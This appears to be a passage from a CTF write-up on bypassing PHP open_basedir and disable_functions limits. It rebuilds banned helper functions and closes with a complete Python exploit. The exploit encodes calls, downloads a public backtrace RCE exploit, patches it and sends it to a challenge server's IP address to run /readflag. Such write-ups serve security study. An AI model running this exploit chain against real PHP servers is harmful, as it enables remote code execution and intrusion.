phpinfo
result
We find that pcntl
is enabled on the server and is not banned. So does it mean
we are able to execute system commands?
No! The configuration limits open_basedir
so we cannot call programs outside
/var/www/html
and /tmp
.
There are many ways to bypass open_basedir
in PHP 7.x, however, most of them
require functions like chdir
, mkdir
which are banned by disable_functions
.
It points back to “functions” again. Let us check all the functions we can call:
-
set up a PHP environment
-
copy
disable_functions
contents from the task output, and write it to a file calleddisabled.txt
-
write a script like the following
<?php $disabled = explode(',', file_get_contents('disabled.txt')); for($i = 0; $i < sizeof($disabled); $i++) { $disabled[$i] = trim($disabled[$i]); } $internals = get_defined_functions()["internal"]; var_dump(array_diff($internals, $disabled));
-
run it
-
its output is available at here
Check the output, and we can find that pcntl_*
are all useless except pcntl_exec
(still N/A, restricted by open_basedir
);
curl_*
seems useful since it might be helpful for an SSRF; putenv
is useful
for exploiting by LD_PRELOAD
, but we cannot find some vulnerabilities like mail
, imap_open
, ImageMagick etc. by carefully checking phpinfo
result; preg_replace
has an e
modifier for code execution,
however, this has been deprecated since PHP 7.
(In fact, I was stuck here almost for a whole afternoon. I struggled a lot on curl_*
and putenv
and made a mess.)
Wait? Why do we want code execution? We are already able to do function calls using our own encoder. Wait again! This is not real code execution since we can only do function calls, instead of declaring variables, and doing memory tricks. We lose rich syntax in PHP!
Then two functions popped into my view: create_function
and call_user_func
.
We are able to do code execution through:
cmd = exp.call('call_user_func', exp.call('create_function', '', 'OUR_CODE')) + b';'
Step 3: Bypass
After searching tons of materials, we have found one general method of bypassing disable_functions
. But we can clearly see
ord
, chr
, str_shuffle
, str_replace
in the exploit, which are again banned
by disable_function
.
The only and twisted way is to build our own functions that behave like
ord
, chr
, str_shuffle
, str_replace
.
Let’s start one by one:
-
remedy for
str_repeat
It is very easy to write for a student studying CS!
function my_str_repeat($s, $n){ $r = ""; for ($i = 0; $i < $n; $i++) { $r .= $s; } return $r; }
-
remedy for
chr
A bit tricky thanstr_repeat
, but we can build a map by array in PHP like["\x00", "\x01"]
function my_chr($i) { static $chr_map = [CHR_MAP]; return $chr_map[$i]; }
However, we want Python to write the map for us, so we can replace
CHR_MAP
with a generated string.result = 'function my_chr($i) { static $chr_map = [CHR_MAP]; return $chr_map[$i]; }'.replace('CHR_MAP', ', '.join(['"\\x'+ hex(i)[2:].zfill(2) + '"' for i in range(256)]))
-
remedy for
ord
It is almost the same one asord
, except for the map. Arrays in PHP can also become associative arrays like["\x00" => 0, "\x11" => 1]
.function my_ord($c) { static $ord_map = [ORD_MAP]; return $ord_map[$c]; }
Python! It’s your show time:
result = 'function my_ord($c) { static $ord_map = [ORD_MAP]; return $ord_map[$c]; }'.replace('ORD_MAP', ', '.join(['"\\x%s" => %d' % (hex(i)[2:].zfill(2), i) for i in range(256)]))
-
remedy for
str_shuffle
We want some random values to do random shuffle, butrand
-like functions are banned.We can write a generator similar to LCG (Linear Congruential Generator) whose equation is
$$ X_i \equiv 19260817 * i + 10007 \pmod{65536} $$
to build random value functions.
function my_rand() { static $i = 1; return ($i++ * 19260817 + 10007) % 65536; } function my_str_shuffle($s) { $n = strlen($s); for ($i = 0; $i < $n; $i++) { if (my_rand() % 2 == 0) { $j = (my_rand() % $n); $t = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $t; } } return $s; }
Final Solution
We can now make use of all of above efforts to write an exploit, and read the flag!
import re
import requests
# For passing multiple arguments
import phpserialize
class exp:
@staticmethod
def _raw_encode(data):
encoded = b''
if isinstance(data, str):
data = data.encode()
for b in data:
encoded += bytes([~b & 0xFF])
return encoded
@staticmethod
def expr(data):
return b'~' + exp._raw_encode(data)
@staticmethod
def symbol(name):
return b'[~' + exp._raw_encode(name) + b']' + b'[~\xCF]'
@staticmethod
def single_argument(arg):
return exp.expr(arg) + b'.' + exp.call('strlen')
@staticmethod
def arguments(*args):
if len(args) == 0:
return b''
else:
return b'...' + exp.call('unserialize', exp.single_argument(phpserialize.dumps(args)))
@staticmethod
def call(function, *args):
if len(args) == 0:
return exp.symbol(function) + b'()'
elif len(args) == 1:
if type(args[0]) == bytes:
return exp.symbol(function) + b'(' + args[0] + b')'
else:
return exp.symbol(function) + b'(' + exp.single_argument(args[0]) + b')'
else:
return exp.symbol(function) + b'(' + exp.arguments(*args) + b')'
@staticmethod
def patch(source, prepend, append):
functions = ['ord', 'chr', 'str_repeat', 'str_shuffle']
source = source.replace('<?php', '')
for f in functions:
source = source.replace(f, 'my_' + f)
source = source.replace('pwn("uname -a");', '')
return prepend + '\n' + source + '\n' + append;
prepend = '''
function my_str_repeat($s, $n) { $r = ""; for ($i = 0; $i < $n; $i++) { $r .= $s; } return $r; }
function my_rand() { static $i = 1; return ($i++ * 19260817 + 10007) % 65536; }
function my_chr($i) { static $chr_map = [CHR_MAP]; return $chr_map[$i]; }
function my_ord($c) { static $ord_map = [ORD_MAP]; return $ord_map[$c]; }
function my_str_shuffle($s)
{
$n = strlen($s);
for ($i = 0; $i < $n; $i++)
{
if (my_rand() % 2 == 0) { $j = (my_rand() % $n); $t = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $t; }
}
return $s;
}
'''.replace('CHR_MAP', ', '.join(['"\\x'+ hex(i)[2:].zfill(2) + '"' for i in range(256)])).replace('ORD_MAP', ', '.join(['"\\x%s" => %d' % (hex(i)[2:].zfill(2), i) for i in range(256)]))
# Get original backtrace RCE exploit
backtrace = requests.get('https://raw.githubusercontent.com/mm0r1/exploits/master/php7-backtrace-bypass/exploit.php').text
# Patch it with our own defined remedy functions
rce = exp.patch(backtrace, prepend, 'echo 1; pwn("/readflag");')
# print(rce)
# Create a function and call it
cmd = exp.call('call_user_func', exp.call('create_function', '', rce)) + b';'
# print(cmd)
res = requests.post('http://124.70.199.17:8001/', data={
'cmd': cmd
})
print(res)
print(res.text)